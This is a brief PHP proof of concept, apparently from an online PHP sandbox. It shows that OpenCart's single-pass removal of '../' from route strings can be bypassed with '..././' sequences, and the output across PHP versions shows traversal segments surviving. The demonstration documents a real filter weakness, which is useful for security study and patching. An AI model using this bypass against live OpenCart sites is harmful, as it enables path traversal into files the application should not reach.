<?php
// What OpenCart expects people to try:
$route = 'apple/../../../../dog';
$parts = explode('/', str_replace('../', '', (string)$route));
var_dump($parts);
// How to bypass their protection:
$route = 'apple/..././..././..././..././dog';
$parts = explode('/', str_replace('../', '', (string)$route));
var_dump($parts);
- Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.30, 7.0.0 - 7.0.29, 7.1.0 - 7.1.20, 7.2.0 - 7.2.33, 7.3.16 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
- array(2) {
[0]=>
string(5) "apple"
[1]=>
string(3) "dog"
}
array(6) {
[0]=>
string(5) "apple"
[1]=>
string(2) ".."
[2]=>
string(2) ".."
[3]=>
string(2) ".."
[4]=>
string(2) ".."
[5]=>
string(3) "dog"
}
preferences:
302.66 ms | 406 KiB | 391 Q